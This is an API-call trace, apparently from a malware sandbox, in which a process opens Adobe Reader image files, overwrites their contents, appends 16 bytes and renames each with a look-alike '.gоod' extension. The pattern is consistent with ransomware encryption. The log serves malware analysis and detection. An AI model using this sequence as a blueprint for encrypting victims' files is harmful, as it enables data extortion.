[0140.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0140.220] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif", lpFilePart=0x0) returned 0x79 [0140.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0140.220] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0140.220] GetFileType (hFile=0x644) returned 0x1 [0140.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0140.220] GetFileType (hFile=0x644) returned 0x1 [0140.220] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0140.220] ReadFile (in: hFile=0x644, lpBuffer=0x38fc020, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x38fc020*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0140.222] CloseHandle (hObject=0x644) returned 1 [0140.222] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif", lpFilePart=0x0) returned 0x79 [0140.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0140.222] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0140.222] GetFileType (hFile=0x644) returned 0x1 [0140.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0140.222] GetFileType (hFile=0x644) returned 0x1 [0140.222] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x3b29 [0140.222] WriteFile (in: hFile=0x644, lpBuffer=0x38fee08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x38fee08*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0140.223] CloseHandle (hObject=0x644) returned 1 [0140.223] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif", lpFilePart=0x0) returned 0x79 [0140.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0140.223] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0140.224] GetFileType (hFile=0x644) returned 0x1 [0140.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0140.224] GetFileType (hFile=0x644) returned 0x1 [0140.224] ReadFile (in: hFile=0x644, lpBuffer=0x3902b58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x3902b58*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0140.520] CloseHandle (hObject=0x644) returned 1 [0140.520] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif", lpFilePart=0x0) returned 0x79 [0140.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0140.520] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0140.520] GetFileType (hFile=0x644) returned 0x1 [0140.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0140.520] GetFileType (hFile=0x644) returned 0x1 [0140.520] WriteFile (in: hFile=0x644, lpBuffer=0x38c5808*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x38c5808*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0140.520] CloseHandle (hObject=0x644) returned 1 [0140.520] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif", lpFilePart=0x0) returned 0x79 [0140.520] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif.gоod", lpFilePart=0x0) returned 0x7e [0140.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0140.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4ff79598, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3b39)) returned 1 [0140.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0140.521] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_2x.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_2x.gif.gоod")) returned 1 [0140.524] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif", lpFilePart=0x0) returned 0x7a [0140.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0140.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int.gif"), fInfoLevelId=0x0, lpFileInformation=0x3a3e1e8 | out: lpFileInformation=0x3a3e1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a3e)) returned 1 [0140.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0140.525] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif", lpFilePart=0x0) returned 0x7a [0140.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0140.525] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0140.525] GetFileType (hFile=0x644) returned 0x1 [0140.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0140.525] GetFileType (hFile=0x644) returned 0x1 [0140.525] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0140.525] ReadFile (in: hFile=0x644, lpBuffer=0x3a3e6e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x3a3e6e0*, lpNumberOfBytesRead=0x1fdeb028*=0xa3e, lpOverlapped=0x0) returned 1 [0141.149] CloseHandle (hObject=0x644) returned 1 [0141.180] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif", lpFilePart=0x0) returned 0x7a [0141.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0141.180] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0141.181] GetFileType (hFile=0x61c) returned 0x1 [0141.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0141.181] GetFileType (hFile=0x61c) returned 0x1 [0141.181] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1a3e [0141.181] WriteFile (in: hFile=0x61c, lpBuffer=0x3c2cd08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x3c2cd08*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0141.181] CloseHandle (hObject=0x61c) returned 1 [0141.181] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif", lpFilePart=0x0) returned 0x7a [0141.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0141.181] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0141.181] GetFileType (hFile=0x61c) returned 0x1 [0141.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0141.181] GetFileType (hFile=0x61c) returned 0x1 [0141.181] ReadFile (in: hFile=0x61c, lpBuffer=0x3c2f038, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x3c2f038*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0141.221] CloseHandle (hObject=0x61c) returned 1 [0141.221] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif", lpFilePart=0x0) returned 0x7a [0141.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0141.221] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0141.221] GetFileType (hFile=0x61c) returned 0x1 [0141.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0141.222] GetFileType (hFile=0x61c) returned 0x1 [0141.222] WriteFile (in: hFile=0x61c, lpBuffer=0x3c2dd20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x3c2dd20*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0141.222] CloseHandle (hObject=0x61c) returned 1 [0141.222] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif", lpFilePart=0x0) returned 0x7a [0141.222] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif.gоod", lpFilePart=0x0) returned 0x7f [0141.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0141.222] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5062df97, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1a4e)) returned 1 [0141.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0141.222] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int.gif.gоod")) returned 1 [0141.223] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif", lpFilePart=0x0) returned 0x7d [0141.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0141.223] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int_2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x3cab788 | out: lpFileInformation=0x3cab788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4038)) returned 1 [0141.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0141.461] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif", lpFilePart=0x0) returned 0x7d [0141.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0141.462] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.462] GetFileType (hFile=0x6e4) returned 0x1 [0141.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0141.462] GetFileType (hFile=0x6e4) returned 0x1 [0141.462] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0141.462] ReadFile (in: hFile=0x6e4, lpBuffer=0x3a99598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x3a99598*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0141.464] CloseHandle (hObject=0x6e4) returned 1 [0141.464] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif", lpFilePart=0x0) returned 0x7d [0141.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0141.464] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.464] GetFileType (hFile=0x6e4) returned 0x1 [0141.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0141.464] GetFileType (hFile=0x6e4) returned 0x1 [0141.464] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x4038 [0141.464] WriteFile (in: hFile=0x6e4, lpBuffer=0x3a9b750*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x3a9b750*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0141.465] CloseHandle (hObject=0x6e4) returned 1 [0141.466] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif", lpFilePart=0x0) returned 0x7d [0141.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0141.466] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.466] GetFileType (hFile=0x6e4) returned 0x1 [0141.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0141.466] GetFileType (hFile=0x6e4) returned 0x1 [0141.466] ReadFile (in: hFile=0x6e4, lpBuffer=0x3a9fa00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x3a9fa00*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0141.735] CloseHandle (hObject=0x6e4) returned 1 [0141.735] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif", lpFilePart=0x0) returned 0x7d [0141.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0141.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.735] GetFileType (hFile=0x6e4) returned 0x1 [0141.735] SetThreadErrorMode 